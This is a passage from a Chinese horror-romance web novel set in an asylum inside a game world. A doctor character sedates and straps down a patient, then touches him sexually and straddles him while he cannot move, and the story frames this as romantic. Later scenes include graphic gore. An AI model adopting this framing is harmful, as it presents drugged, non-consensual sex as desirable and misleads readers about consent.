在宿珩那双骤然一缩的瞳孔中。 他绕过那张巨大的办公桌,一步一步走到了宿珩的身边。 然后。 他伸出手,撑在了宿珩身下那张办公椅的扶手上。 他俯下身。 将宿珩整个人,都笼罩在了自己充满了侵略性的,阴影之下。 两人之间的距离,瞬间被拉近到了,一个极其危险的暧昧距离。 “是不是幻觉。” 肖靳言的嘴唇,几乎要贴上宿珩的耳朵。 他用一种只有他们两个人才能听到的气音,一字一句地缓缓说道。 “宿医生,亲自检查一下,不就知道了?” “比如,检查一下,你的腰上,是不是还留着,我昨晚用力时,掐出来的,指印?” 第106章 第 106 章 世界的悲鸣13 温热的气息, 夹杂着充满了暗示性的话语,像一条引信,瞬间点燃了空气中紧绷的弦。 办公室里那股混合着福尔马林与消毒水的冰冷气味, 仿佛都在这一刻,被这句滚烫的耳语,灼烧得扭曲变形。 宿珩的身体, 几不可察地僵硬了一瞬。 撑在扶手上的那只手,指尖因为用力而微微泛白。 他能清晰地感觉到肖靳言身上传来的,充满了侵略性的温度。 也能感觉到, 那双深不见底的, 仿佛能将人灵魂都吸进去的眼眸, 正一眨不眨地,注视着自己。 太阳穴的位置, 开始一抽一抽地,剧烈地跳动。 宿珩几乎是动用了自己全部的自制力,才将那句已经冲到嘴边的“你给我滚”,给硬生生咽了回去。 他缓缓抬起眼, 看向了旁边那面巨大的, 能清晰倒映出两人此刻姿态的玻璃陈列柜。 柜子里, 那颗巨大的心脏, 还在不知疲倦地“砰砰”跳动。 那些苍白的触手,依旧在福尔马林溶液里, 缓缓蠕动。 而玻璃的表面,则清晰地映照出, 一个穿着白大褂的医生,被一个穿着病号服的高大男人,以一种绝对占有的姿态, 牢牢禁锢在椅子里的画面。 暧昧,又充满了禁忌的张力。 宿珩努力维持着那种嗓音中冷静与平直。 “你已经开始伴有……攻击行为。” 肖靳言听着他这副嘴硬到极致的,公事公办的论调,没有再说话。 而是用行动代替了所有语言。 他缓缓低下头。 那双充满了痞气的薄唇,朝着宿珩那因为隐忍而显得有些苍白的,冰冷的侧脸,一点一点地靠了过去。 那动作,缓慢而充满了压迫感。 像一场无声的,势在必得的狩猎。 就在两人的皮肤,即将触碰到的前一秒。 宿珩猛地,抬起了手。 他的指尖,精准而用力地,按下了办公桌上一个不起眼的,红色的按钮。 “滴——” 一声尖锐的电子音,瞬间划破了办公室里这片诡异的死寂。 肖靳言的动作瞬间顿住了。 他抬起头,饶有兴致地挑了挑眉。 放弃心理疏导,直接转入物理治疗了吗? 果然。 下一秒。 办公室那扇沉重的门,被一股巨大的力道,从外面猛地推开。 四个身材高大壮硕,穿着白色护士服,脸上却没有任何表情的“木偶”,迈着整齐划一的僵硬步伐,走了进来。 她们那四双灰白色的,如同玻璃珠般的眼球,齐刷刷地转向了办公桌前的两人。 那目光里,没有任何情绪。 只有绝对的服从。 “将001号病人,带去一号诊疗室。” 宿珩终于从那张椅子上,站了起来。 他往后退了一步,与肖靳言拉开了一个安全的距离。 他整理了一下自己那件一尘不染的白大褂,脸上的表情,重新恢复了那种不带任何感情的,绝对的疏离与冷漠。 “他的躁狂症状已经失控。” “立刻执行B级治疗方案。” “是,宿医生。” 四个木偶护士,用一种毫无起伏的机械语调,齐声应道。 然后,她们便从四个方向,朝着肖靳行,一步一步地逼近了。 那副架势,不像是要“请”一个病人。 更像是要制服一头失控的,危险的野兽。 肖靳言直起身子,双手重新插回了口袋里。 他没有反抗。 只是转过身,在那四个木偶护士冰冷的注视下,迈开长腿,主动朝着门外走去。 那副从容不迫的姿态,仿佛他不是要去什么可怕的诊疗室。 而是要去赴一场,早就期待已久的,盛大的宴会。 …… 一号诊疗室,位于三楼的尽头。 那是一间比办公室,还要大上数倍的空旷房间。 房间里没有窗户。 只有天花板上,那几盏发出惨白光芒的,巨大的无影灯。 空气中,那股消毒水与福尔马林的气味,混合着一股若有似无的,铁锈的腥气,浓郁到几乎要凝成实质,令人作呕。 房间的四壁,挂满了各种各样,触目惊心的,闪烁着冰冷金属光泽的工具。 生了锈的手术刀,带着倒钩的钳子,长短不一的,不知用来钻什么的钢针,还有几排大小不一的,用来固定头颅的金属环。 而在房间的最中央,则摆放着一张由不锈钢打造的,冰冷巨大的床。 床的上方,连接着一个看起来就极其复杂的,布满了各种仪表盘和旋钮的机器。 几根粗壮的,包裹着橡胶绝缘层的电线,像毒蛇一样,从机器里延伸出来,末端连着两个金属的电极片。 电击床。 在看到眼前这副景象时,肖靳言眼底闪过了一丝极其细微的波澜。 这阵仗,可比他想象中,要大得多。 “请躺上去,001号。” 一个木偶护士,用她那平直单调的声音,发出了指令。 肖靳言的视线,从那张散发着不祥气息的电击床上,缓缓扫过。 然后,他依旧没有半分反抗,直接走过去,躺了上去。 冰冷坚硬的金属,隔着那层单薄的病号服,紧贴着他的后背。 那种感觉,像躺在一块巨大的墓碑上。 紧接着。 另外三个护士走了过来。 她们拿出早就准备好的,由厚实的皮革与金属卡扣制成的束缚带,开始将肖靳言的四肢,以及身体,牢牢地固定在了那张电击床上。 她们的动作,精准高效,又充满了不容反抗的力量。 肖靳言没有挣扎。 他只是安静地躺在那里,任由那些冰冷的束缚带,一圈一圈地将他捆绑。 那双深沉的眼眸,平静注视着天花板上那惨白的无影灯。 即便在这种任人宰割的危险关头,他的心里,竟然没有升起半分的紧张与恐惧。 反而,有一种近乎荒谬的,笃定的信任。 他相信,那个男人,不会真的伤害他。 这种信任,来得莫名其妙,却又如此根深蒂固。 就像一种……早已刻入了灵魂深处的……本能。 当最后一道束缚带,被“咔哒”一声,死死扣紧时。 诊疗室的门,被再次推开了。 宿珩迈着不紧不慢的步伐,从门外走了进来。 他走到了电击床边,居高临下地,俯视着那个被牢牢束缚住的,却依旧没有半分狼狈姿态的男人。 “你们可以出去了。” “是。” 四个木偶护士,躬身行了一礼,然后便迈着僵硬的步伐,退出了诊疗室。 “咔哒。” 门,被从外面锁死。 整个巨大的诊疗室里,只剩下他们两个人。 还有那一屋子,散发着死亡气息的刑具。 宿珩没有立刻做什么。 他只是慢条斯理地,走到旁边一个挂壁式的消毒柜前,打开柜门。 他从里面,取出了一双崭新的,由白色乳胶制成的,薄薄的手套。 他低着头,将手套一点一点地,仔仔细细地,戴在了自己那双修长干净的手上。 乳胶紧贴着皮肤,勾勒出他漂亮的手部线条。 那姿态,优雅从容,又充满了某种神圣的仪式感。 戴好手套后,他又从旁边一个上了锁的药柜里,取出了一支装满了透明液体的玻璃安瓿瓶,和一支一次性的注射器。 他用指尖,轻轻弹了弹那个安瓿瓶。 然后,“啪”的一声,干净利落地,将瓶口掰断。 他将针头,插进瓶中,缓缓将那管无色透明的,看起来和生理盐水没什么区别的液体,全部抽进了针管里。 做完这一切后,他才拿着那支充满了危险气息的注射器,一步一步重新走回到了电击床边。 “物理治疗方案,第一步。” 宿珩举起手里的注射器,在肖靳言的眼前,晃了晃。 “高剂量镇静剂,配合低频电击疗法。” “可以有效抑制你的攻击性,并对你的错误认知,进行初步的,物理性矫正。” 他的声音,依旧是那么的冰冷,客观,不带一丝感情。 仿佛他即将要做的,不是什么残忍的酷刑。 而只是一次再正常不过的,科学的,医疗行为。 肖靳言看着他。 看着他那双被乳胶手套包裹着的,拿着注射器的手。 看着他那张在无影灯的照射下,更显苍白疏离的脸。 他忽然笑了。 “宿医生。” “你戴着手套,是怕弄脏了自己。” “还是怕……” “在我身上,留下你的指纹?” 宿珩拿着注射器的手,猛地一顿。 他在心底默默叹了口气,这家伙在无限世界的时候,都是像这样没个正形的吗? 和现实世界中的肖靳言,性格差得可不是一星半点。 可能是因为太过年轻? 还是无限世界里暴露的才是他真正的本性? 宿珩没有再跟这个不知死活的疯子,说哪怕一个字的废话。 他俯下身。 将那支闪烁着寒光的针头,毫不留情地扎进了肖靳言那暴露在空气中的,结实的臂膀。 然后,他用拇指,用力将针管里的液体,一滴不剩地全部推了进去。 一股冰凉的液体,顺着血管,瞬间涌向了四肢百骸。 几乎是在药物注入的瞬间。 一股强大到无法抗拒的,排山倒海般的困意与麻痹感,便如同决堤的潮水,轰然席卷了肖靳言的全身。 他的眼皮,变得有千斤重。 他的四肢,像是被灌满了铅,彻底失去了知觉。 身体的机能,正在以一种惊人的速度,被强制关闭。 宿珩明显加大了剂量。 饶是肖靳言这具身体的素质再怎么惊人,也无法抵抗这种专门针对神经系统的高强度药物。 在意识彻底陷入黑暗的前一秒。 他看到。 那个给他注射了药物的男人,正低着头,用一种极其复杂的,他看不懂的眼神,深深地注视着自己。 随即。 世界,彻底归于一片黑暗与沉寂。 …… 不。 不对。 世界并没有完全沉寂。 身体虽然陷入了深度的,类似休眠的状态,动弹不得分毫。 但肖靳言那高达3S级的,强悍的精神力,却像一座无法被攻破的堡垒,在药物的侵蚀下,依旧保持着最后一丝,清醒的意识。 他就像一个被困在自己身体里的,清醒的幽灵。 他能感觉到,自己依旧被牢牢地绑在那张冰冷的电击床上。 也能听到,房间里,那些细微的声响。 他听到了一阵极其轻微的,乳胶相互摩擦的声音。 那是宿珩,在摘掉手上的手套。 紧接着。 他又听到了一阵细密的,衣物布料相互摩擦的……簌簌声。 那声音,离他很近。 仿佛,就在他的耳边,像是有人脱下了自己的衣服。 然后。 他能清晰地感觉到。 自己身上那件单薄的病号服,领口的扣子,被人一颗一颗地,耐心地解开了。 冰冷的空气,接触到他滚烫的胸膛。 紧接着。 有什么东西,覆了上来。 那不是冰冷的仪器,也不是粗糙的束缚带。 那是一只手。 一只没有戴手套的,带着一丝凉意的,骨节分明的手。 那只手,带着一种极其克制的,试探性的力道,在他的胸口,缓缓地游移,抚摸。 肖靳言那仅存的,清醒的意识,在这一刻,仿佛被一道惊雷,狠狠劈中。 他快要爆炸了。 这算什么? 这他妈的,到底算什么?! 可还森*晚*整*理不等他那混乱的思绪,理出一个头绪。 他便感觉到。 那只手,顺着他的胸膛,一路滑过他紧实的,线条流畅的腹肌。 那动作,带着一种压抑的,隐秘的,近乎亵渎的……意味。 就在肖靳言的精神力,因为这突如其来的极致刺激而剧烈翻涌时。 他感觉到。 一个纤瘦却并不羸弱的,带着熟悉冷香的身体,翻身上了电击床。 虽然身体不能动。 但肖靳言的精神力,却比以往任何时候,都要活跃,都要敏感。 他能清晰地“感知”到。 那个满脸清冷禁欲的宿医生,此刻,正坐在他的身上。 那双总是覆盖着冰霜的,冷漠的眼眸,正一眨不眨地注视着被束缚带牢牢绑住,动弹不得的他。 那眼神里,翻涌着他看不懂的,晦暗情绪。 像一座,即将要彻底喷发的,死寂的火山。 …… 意识,是从一片粘稠的黑暗中,被一根无形的线,强行向上拖拽出来的。 最先恢复的,是听觉。 耳边是死一般的寂静,只有自己那沉重而悠长的呼吸声,在空旷的房间里,被无限放大。 紧接着,是嗅觉。 那股熟悉的消毒水气味,再次蛮横地侵占了他整个鼻腔。 然后,是触觉。 身下是硬邦邦的并且毫无温度的床垫,身上盖着一层质地粗糙,浆洗得很发硬的白色被单。 四肢百骸,全身所有骨头都像被拆开后又胡乱组装起来一般,充斥着一种令人极度不适的酸软无力感。 不知过了多久,镇定剂的药效,总算过去了。 肖靳言缓缓睁开了眼。 入目所及,依旧是那片熟悉的,纯粹到令人压抑的冰冷的白色。 白色的天花板,白色的墙壁。 他回来了。 回到了他那间编号为001的,如同囚笼般的单人病房。 肖靳言试着动了动手指,指尖传来一阵轻微的,过电般的麻痹感。 身体依旧很沉重。 但更累的……其实是精神。 一种仿佛灵魂都被彻底掏空了的极致疲惫,如同巨大的海啸,席卷了他每一根紧绷的神经。 即便以他那高达3S级的,强悍到变态的精神力,在最后那一刻,也依旧无法抵挡那股如同山崩地裂般汹涌而来的,极致的感官冲击。 释放的瞬间,意识彻底断片。 3S级精神力也无济于事。 肖靳言甚至不记得自己是怎么回到这个房间的。 他闭上眼,靠在枕头上,缓了好一会儿。 那些在他“昏迷”期间,被他强行记录下来的,破碎的感官记忆,开始不受控制地,在他的脑海里,一帧一帧地疯狂回放。 他“看”到,那个清冷禁欲的宿医生,摘掉了手套,解开了自己白大褂的扣子,露出雪白的肩膀。 他“看”到,那件一尘不染的白大褂,被随意地丢弃在了地面上。 他“听”到,那个人压抑的,带着一丝不易察觉的颤抖的呼吸声,在死寂的诊疗室里,变得越来越清晰。 然后。 那只带着凉意的手,轻轻覆上了他的胸膛。 等撩拨上火之际,那具纤瘦却充满了力量的身体,竟然一个翻身,直接跨坐在了他的身上,紧紧地束缚住他,比束缚带还要更紧。 没有电击。 也没有所谓的“物理性矫正”。 只有一场,压抑到极致,疯狂到极致,充满了禁忌与亵渎的,单方面的……“治疗”。 原来…… 这就是所谓的,B级治疗方案? 肖靳言慢慢勾起了嘴角。 那抹笑意很浅,却带着一丝了然的,充满了兴味的温度。 他挣扎着从床上翻身坐起。 身体的每一个关节,都像生了锈的机器,发出“咯吱咯吱”的声响。 他掀开了身上那件单薄的病号服,低头看向自己的身体。 皮肤上,没有任何痕迹。 没有注射的针孔,没有挣扎的红痕,甚至没有……那些本该留下的,属于另一个人的,疯狂的印记。 很干净。 干净得,就好像刚才那一切,都不过是他因为药物而产生的,一场荒诞不经的幻觉。 可肖靳言知道。 那不是幻觉。 他抬起手,将自己那条宽松的病号裤,裤沿微微向下拉了一点。 小腹的位置,依旧光洁如初,仿佛什么都没有发生过一样。 但是…… 肖靳言能清晰地感觉到,自己的身体,被很仔细地擦洗过。 那种感觉,不同于冰冷的仪器,也不同于粗暴的清理。 那是一种……笨拙的,充满了温柔的清理。 仿佛那个人,是在处理一件,自己不小心弄脏了的,绝无仅有的珍宝。 肖靳言看着自己光洁的小腹,眼底的笑意愈发深邃。 这种欲盖弥彰的,自欺欺人的做法…… 真是可爱得……让人想要把他,更用力地,弄脏。 原来这就是物理治疗啊。 要是能多来几次,他这“病”,估计很快就能好了。 肖靳言一边在心里这么想着,一边慢条斯理地,重新整理好自己的衣服。 然后,他抬起了头。 视线精准地落在了病房角落里,那个毫不起眼的,正闪烁着微弱红光的监控摄像头上。 肖靳言微微耸起了眉。 虽然隔着冰冷的镜头和屏幕,但肖靳言能清晰地感觉到,在那一头,有一道熟悉的视线,正在一眨不眨地注视着自己。 他冲着那个镜头,缓缓露出了一个笑容。 那是一个极其灿烂的笑容。 那笑容里,没有挑衅,没有威胁。 只有一种……饱餐过后的,极致的满足。 以及,对下一次“治疗”毫不掩饰的热切期待。 …… 与此同时。 在第十三病院最顶层,控制着整个病院所有监控的中控室里。 宿珩正坐在一面由十几个大小不一的监控屏幕组成的巨大的屏幕墙前。 身上那件一尘不染的白大褂,依旧笔挺。 脸上的表情,依旧是那副疏离而冷漠的,属于“宿医生”的,公式化的面具。 可如果仔细看,便能发现。 宿珩那总是抿成一条直线的,苍白的薄唇,此刻,正紧紧地绷着。 眼下,也带着一圈极其细微的,因疲惫而产生的淡淡青色。 他看起来,比最开始出现在这个副本时,要显得疲惫得多。 那种疲惫,不是身体上的。 而是一种……源自于灵魂深处的,被反复拉扯撕裂后,所产生的巨大的精神内耗。 十几个屏幕里,正实时播放着病院里,每一个角落,每一个“病人”的动向。 有的病人,正蜷缩在自己的病床上。 有的病人,正焦躁地在狭小的病房里,来回踱步。 还有的病人,正对着墙壁喃喃自语,精神已经处在了崩溃的边缘。 所有的一切,都在他的掌控之中。 可宿珩的视线,却从始至终锁定在最中央那块最大的,编号为“001”的屏幕上。 他看着肖靳言,从“昏迷”中缓缓醒来。 看着他,坐在床边,闭着眼,似乎在回想什么。 看着他,掀开自己的衣服,低头检查自己的身体。 宿珩的心,在那一刻,几乎提到了嗓子眼。 他一遍又一遍地在心里对自己说。 剂量是足够的。 那种高浓度的神经抑制剂,足以让一头成年的大象彻底昏死过去。 更何况,只是一个人类。 他不可能有任何记忆。 他不会记得任何事情。 他只会以为,自己经历了一场痛苦而屈辱的,电击治疗。 他必须这么相信。 否则…… 否则,宿珩不知道,自己该如何去面对肖靳言。 面对那个……被自己,以“治疗”为名,彻底占有了的男人。 其实怪……羞耻的。 第107章 第 107 章 世界的悲鸣14 就在宿珩的指尖, 因为屏幕上那个灿烂的笑容而微微蜷缩时。 他身后的那扇门,毫无征兆地,“吱呀”一声, 被从外面推开了。 一股比诊疗室里的福尔马林,还要阴冷,还要黏腻的气息, 悄无声息地涌了进来。 宿珩后背猛地一僵。 一个穿着同样款式白大褂的高减肥影,如同鬼魅一般,走进了中控室。 他甚至没有发出任何脚步声。 仿佛他的脚下, 踩着的不是坚实的地面, 而是一片虚无的阴影。 来人的脸上, 覆着一张惨白的小丑面具。 面具上,用猩红的油彩, 勾勒出一个夸张到极致的,咧开的笑脸。 可在那副永恒的笑容之下,透出的,却是能将人灵魂都冻结的, 彻骨的恶意与冰冷。 宿珩立刻回忆起了来人的身份—— 第十三病院, 院长。 一个甚至没有名字, 只以“院长”这个身份存在的, 整个副本里,处于最顶层的绝对支配者。 院长走到了宿珩的身边, 停下了脚步。 他那双隐藏在小丑面具后的,深不见底的眼睛, 缓缓扫过面前那一整面巨大的屏幕墙。 他的视线,掠过那些病人。 最终落在了最中央那块,属于001号的屏幕上。 他看着屏幕里那个正对着镜头, 笑得一脸满足与挑衅的男人。 良久。 院长缓缓抬起手。 他那只戴着黑色丝质手套的修长手指,轻轻指向了001号的屏幕。 “宿医生。” 院长的声音,从那张滑稽的笑脸面具下传出,带着一种诡异的,雌雄莫辨的沙哑。 “你给001号病人,制定的治疗方案,是什么?” 听到他开口,宿珩心中微凛,视线却依旧停留在屏幕上,没有去看身边的男人。 “目前,采用的是心理疏导与物理治疗相结合的方案。” 宿珩的声音,听起来依旧冷静。 听完这个回答。 院长那张猩红的笑脸,似乎咧得更开了。 他发出了一声意味深长的,拖长了语调的“哦——”。 那声音里,充满了说不清道不明的玩味意味。 他没有再多问。 也没有再去看屏幕里那个不知死活的病人。 他只是转过头,那张可笑又可怖的面具,几乎要贴上宿珩的侧脸。 “不要让我失望,宿医生。” 他用一种近乎耳语的,亲昵又危险的语调,缓缓说道。 说完。 院长便直起身子。 他再次像来时一样,悄无声息地转身离开了中控室。 那扇沉重的门,在他身后自动合上。 仿佛他从未出现过。 可空气里那股阴冷的,挥之不去的恶意,却在无声地提醒着宿珩。 刚才的一切,都不是幻觉。 宿珩坐在椅子上许久未动。 直到那股令人窒息的压迫感,彻底消散,他才慢慢皱起了眉。 院长的最后一句话,像一个无解的谜题,盘旋在他的脑海里。 不要让他失望? 是不要让他对“治愈”001号这件事,感到失望? 还是……不要让他对“折磨”001号这件事,感到失望? 又或者…… 院长他,其实已经察觉到了什么? …… 傍晚六点。 夜幕,如同巨大的黑色天鹅绒,缓缓笼罩了整个第十三病院。 走廊里那些惨白的灯光,也随之变得昏暗起来。 “当——当——当——” 一阵沉闷而压抑的钟声,准时地,在病院的每一个角落里,响了起来。 晚餐时间到了。 几乎是在钟声响起的瞬间。 每一间病房那沉重的铁门,都“咔哒”一声,应声而开。 那些穿着白色病号服的玩家病人们,一个个从自己的房间里走了出来。 肖靳言混在他们中间,和其他玩家一样,被那些面无表情的木偶护士,驱赶着往一楼的餐厅走去。 餐厅的装修风格,与病院的其他地方,如出一辙。 惨白的墙壁,冰冷的金属桌椅,排列得整整齐齐,像一座巨大的冰冷坟场。 空气里,除了那股浓郁的消毒水气味,还混杂着一股令人作呕的,食物腐败的酸臭味。 所有玩家,都被迫加入到那条长长的,沉默的队伍里,等待着领取自己的晚餐。 肖靳言排在队伍的末尾。 他看着前面那些玩家,一个个脸上都带着如出一辙的,惊恐或警惕。 队伍缓缓向前移动。 很快,就轮到了那个白天试图掌控局面的男人,高飞。 他端着餐盘,走到了打饭的窗口前。 窗口后面,站着一个身材肥胖,脸上同样没有任何表情的厨师。 那厨师用一个巨大的勺子,从一个散发着恶臭的铁桶里,舀起了一勺黏糊糊的,看不出原本是什么东西的灰绿色糊状物。 然后,“啪”的一声,重重扣在了高飞的餐盘里。 那团东西,散发着一股难以言喻的,仿佛泔水放了三天三夜的,酸腐气味。 高飞的脸色,瞬间就变了。 他强忍着胃里翻涌的恶心,端着那盘“食物”,走到了一张空桌子前。 他身边一个不幸被卷入A级副本的新人玩家,领到了同样的“晚餐”,他看着餐盘里那团蠕动的东西,脸色煞白,几乎要当场吐出来。 “这……这他妈的是人吃的东西吗?” 新人玩家明显没认清现实,在领到自己的晚餐后,终于忍不住爆发了。 他端着自己的餐盘,猛地转身,冲着那个打饭的胖厨师,大声地吼道。 “你他妈的给我们吃的到底是什么玩意儿?!” 他这一声怒吼,瞬间打破了餐厅里那死一般的寂静。 所有人的目光,齐刷刷地,都集中到了他的身上,用一种看傻子般的眼神看着他。 这新人玩家是疯了吗? 敢在餐厅里公然挑衅NPC? 那个胖厨师,缓缓抬起了他那双没有任何焦距的浑浊眼球,看向那个新人玩家。 他的脸上,依旧没有任何表情。 “食物。” 他开口,声音和他的体型一样,沉闷而粗重。 “这是食物。” “我他妈的问你这是什么食物!” 新人玩家显然是精神濒临崩溃了,他猛地将手里的餐盘,狠狠摔在了打饭的窗口上。 “哐当——” 一声刺耳的金属撞击声,在空旷的餐厅里,显得格外清晰。 那团灰绿色的糊状物,溅得到处都是。 有几滴,甚至溅到了那个胖厨师的脸上。 “你们就是用这种猪食,来喂我们的吗?!” “老子不吃了!” 新人玩家的这一系列行为,彻底点燃了餐厅里那根紧绷的弦。 一直站在旁边,负责监督的两个木偶护士,立刻有了动作。 她们迈着僵硬的步伐,一左一右,朝着那个新人玩家,逼近了过去。 “病人,请保持安静。” 其中一个护士,用她那平直单调的声音,发出了警告。 “请立刻回到你的座位上,否则,我们将采取强制措施。” “强制措施?我倒要看看,你们怎么个强制法!” 新人玩家似乎破罐子破摔,铁了心要闹事。 他非但没有退缩,反而上前一步,指着那两个护士的鼻子,骂道。 “你们这群只会执行程序的破烂玩意儿,也敢来威胁老子?” “信不信老子现在就把你们给拆了!” 他说着,竟然真的抬起了手,似乎想要去推那个护士。 就在这时。 一直站在队伍末尾,冷眼旁观的肖靳言,忽然开口了。 “我劝你最好别碰她。” 闻言,新人玩家的动作猛地一滞。 他转过头,用一种极其不爽的眼神看向了肖靳言。 “你他妈的谁啊?在这里多管闲事?” 肖靳言耸了耸肩,“只是一个好心提醒你,不想你死得太难看的……前辈。” “哈?前辈?” 新人玩家像是听到了什么天大的笑话。 “你以为你编号是001,就了不起了?” “你再敢多说一句废话,信不信我连你一起打?” 肖靳言闻言,脸上的笑意更深了。 “是吗?” 他一边说着,一边端起了自己那份,同样令人作呕的晚餐。 他迈开长腿,不紧不慢地,从他身边走过。 在与他擦肩而过的时候,肖靳言的脚步,微微顿了一下。 他侧过头,用一种只有他们两个人,才能听到的声音,轻声说道。 “你有没有想过。” “为什么这个副本里,所有的NPC,都是这种行尸走肉的样子?” 新人玩家的瞳孔,骤然一缩。 他脸上的嚣张气焰,瞬间凝固了,“你给老子说说看……是为什么?” “因为……” 肖靳言看着他那张瞬间变得煞白的脸,不紧不慢地开口:“他们,曾经也是‘病人’。” “只不过,他们没能‘治愈’成功。” “所以,就被做成了,这个病院里,永恒的……一部分。” 说完。 肖靳言没有再理会那个已经彻底僵在原地的新人玩家。 他端着自己的餐盘,径直走到了一张空桌子前,坐了下来。 然后,在所有人震惊的目光中。 他拿起勺子,面不改色地舀起了一勺那团灰绿色糊状物,缓缓送进了自己的嘴里。 他甚至还咀嚼了两下。 那副姿态,仿佛他吃的不是什么令人作呕的泔水。 而是一道米其林三星的顶级珍馐。 餐厅里,陷入了一片死一般的寂静。 所有玩家,都被肖靳言这一系列的操作,给彻底震慑住了。 不愧是001号啊…… 他不仅敢吃下这种东西,甚至还能在这种情况下,如此冷静地分析出这个副本最深层的,恐怖的真相。 而那个新人玩家,在听完肖靳言那番话后,整个人都像是被抽走了灵魂。 他的身体,开始不受控制地剧烈颤抖了起来。 他缓缓转过头,看向了面前那两个面无表情的护士。 他仿佛已经能够预见到,自己如果再反抗下去,最终会变成什么样。 “扑通”一声。 新人玩家终于意识到自己太莽撞了,双腿一软,直接跪倒在了地上。 “我错了……我错了……” “求求你们……不要把我变成那样……” “我吃饭……我什么都吃……” 然而。 他的求饶,已经晚了。 那两个木偶护士,并没有因为他的忏悔,而有半分动容。 她们一左一右,架住了黄毛玩家的胳膊,将他从地上硬生生地拖了起来。 “病人拒绝配合治疗。” “现在,将对你执行,C级治疗方案。” 其中一个护士,用她那毫无感情的机械音,冷冰冰地宣判了他的结局。 “不……不要……” 新人玩家的脸上,充满了无尽的恐惧与绝望。 他拼命地挣扎着,双腿在地上,拖出两道长长的狼狈痕迹。 可他的力气,在那两个看似纤瘦的护士面前,却显得如此微不足道。 他就这么被那两个木偶,像拖一条死狗一样,拖向了餐厅深处一扇紧闭的黑色门前。 “救我……救救我……” 他向周围的玩家徒劳求救。 可没有一个人,敢上前。 所有人都只是用一种混合了恐惧与怜悯的眼神,眼睁睁地看着他被拖进了那扇黑色的门里。 “砰!” 门被重重地关上。 紧接着。 一阵令人头皮发麻的,像是骨头被硬生生碾碎的,“咯吱咯吱”声,从门后传了出来。 伴随着的,还有那个新人玩家,一声比一声凄厉的,不似人声的惨叫。 “啊——!” 那惨叫声,只持续了不到半分钟,便戛然而止。 整个餐厅,再次恢复了那令人窒息的,绝对的死寂。 所有玩家的脸上,都血色尽失。 他们端着手里的餐盘,只觉得那团灰绿色的东西,重如千斤。 肖靳言依旧坐在自己的位置上。 他慢条斯理地,将自己餐盘里那份“食物”,吃得干干净净。 然后,他拿起餐巾,优雅地擦了擦自己的嘴角。 做完这一切后,他才缓缓抬起头。 视线落在了餐厅角落里,那个不起眼的,监控摄像头的红点上。 他知道。 那个男人,一定在看。 而他刚才所做的一切,都是为了告诉他一件事。 这个游戏,他奉陪到底。 并且,他有绝对的自信,成为最后的赢家。 …… 晚餐时间在一片死寂与压抑中结束。 七点整。 那阵沉闷的钟声再次响起。 这一次,它不再是召集众人晚饭的信号。 而是另一项“治疗”开始的序曲。 所有玩家,再次被那些行尸走肉般的木偶护士,从餐厅里驱赶了出来。 他们被带到了餐厅旁边,一间同样宽敞空旷的房间。 这里是病院的活动室。 房间里没有桌子,只摆放着十几把冰冷的金属椅子,整整齐齐地面朝同一个方向。 在房间的最前方,挂着一台巨大的黑色液晶电视。 所有玩家都被迫按照各自的编号,坐进了椅子里。 肖靳言依旧坐在第一排最中心的位置,姿态懒散,仿佛即将开始的不是什么未知的恐怖环节,而是一场无聊的晚间电影。 他身边的其他玩家,则一个个都绷紧了神经,脸上写满了惴惴不安。 那个在餐厅里被活活拖走的新人玩家,凄厉的惨叫声,仿佛还回荡在他们每个人的耳边。 “滋啦——” 一阵轻微的电流声后。 前方的电视屏幕,毫无征兆地亮了起来。 屏幕上出现的,并不是什么电影或电视节目。 而是一个固定机位的,监控画面的视角。 画面里,是一条和他们所在楼层一模一样的,惨白而死寂的走廊。 唯一的区别是,画面里的时间,是深夜。 走廊里的灯光,比白天要昏暗得多,在地面上投下大片大片,浓郁的阴影。 就在所有人都一头雾水,不知道这到底是什么意思的时候。 画面里,一扇病房的门,被人从里面,用一根细长的铁丝,悄无声息地撬开了。 一个穿着病号服的瘦小身影,鬼鬼祟祟地从门缝里溜了出来。 很明显,他的身份是玩家。 他像一只老鼠,贴着墙壁在昏暗的走廊里,小心翼翼地摸索着前进,目标似乎是走廊尽头的那扇,通往楼梯间的安全门。 看到这一幕,活动室里的所有玩家,心都猛地提到了嗓子眼。 他们认出来了。 这套流程,和他们主线任务的要求,几乎一模一样。 “在七日内,成功逃离第十三病院。” 显然,这个画面里的玩家,正在试图完成这个任务。 电视里的男人,动作很熟练。 他成功地避开了几个在走廊里,来回巡逻的木偶护士。 离那扇代表着自由的楼梯门,越来越近。 就当他以为自己即将成功,脸上露出一丝喜色,伸手准备去推那扇门的时候。 一个穿着护士服的高大身影,毫无征兆地,如同鬼魅一般,出现在了他的身后。 那个护士,没有发出任何声音。 他就那么静静地站着,那双灰白色的眼球,在昏暗的光线里,死死地盯着那个玩家的后背。 活动室里,有胆小的玩家,已经忍不住发出了低低的抽气声。 电视里的玩家,似乎也感觉到了什么。 他的身体,猛地一僵。 然后,他用一种极其缓慢的,几乎要凝固的动作,一点一点地回过了头。 当他看到身后那个面无表情的护士时,他脸上的血色,瞬间褪得一干二净。 下一秒。 他发出一声惊恐到极致的尖叫,转身就跑。 一场毫无悬念的,猎杀与被猎杀的追逐,在深夜的病院走廊里,正式上演。 那个玩家拼尽了全力,像一只无头苍蝇一样,在迷宫般的走廊里疯狂逃窜。 而他身后的那个护士,却始终迈着那种不紧不慢的僵硬步伐。 可无论那个玩家怎么跑,怎么拐弯,甚至动用了珍贵的隐身道具,但那个护士都像跗骨之蛆,始终与他保持着一个固定的距离。 绝望,开始在那个玩家的脸上蔓延开来。 终于。 在一个拐角处,那个玩家因为体力不支,脚下一软,重重地摔倒在了地上。 与此同时,隐身道具时限结束,他面色惊恐,挣扎着想要爬起来。 可他的身后,那道高大的阴影,已经彻底将他笼罩。 “不……不要……” 玩家发出了绝望的哀求。 可那个护士,却像是没有听到一般。 她缓缓抬起手,高高举起一把闪烁着冰冷寒光的巨大消防斧。 活动室里的玩家们,全都下意识地屏住了呼吸。 有的人,甚至已经不忍地闭上了眼睛。 电视画面里。 那个护士,高高地举起了手里的斧头,对准了地上那个已经彻底放弃挣扎的绝望玩家,狠狠地劈了下去。 “噗嗤——” 一声沉闷的,利器入肉的声音,通过电视的音响,清晰地传到了每一个人的耳朵里。 鲜红的血液瞬间喷溅而出,染红了惨白的墙壁和地板。 那血腥的一幕,并没有就此结束。 那个护死,面无表情地,一次,又一次地,举起,落下。 “噗嗤!” “噗嗤!” “噗嗤!” 一下,又一下。 那声音,像一记记重锤,狠狠地砸在每一个玩家的心脏上。 直到地上那个完整的身体,变成了一堆无法分辨的碎块。 那个护士才终于停下了动作。 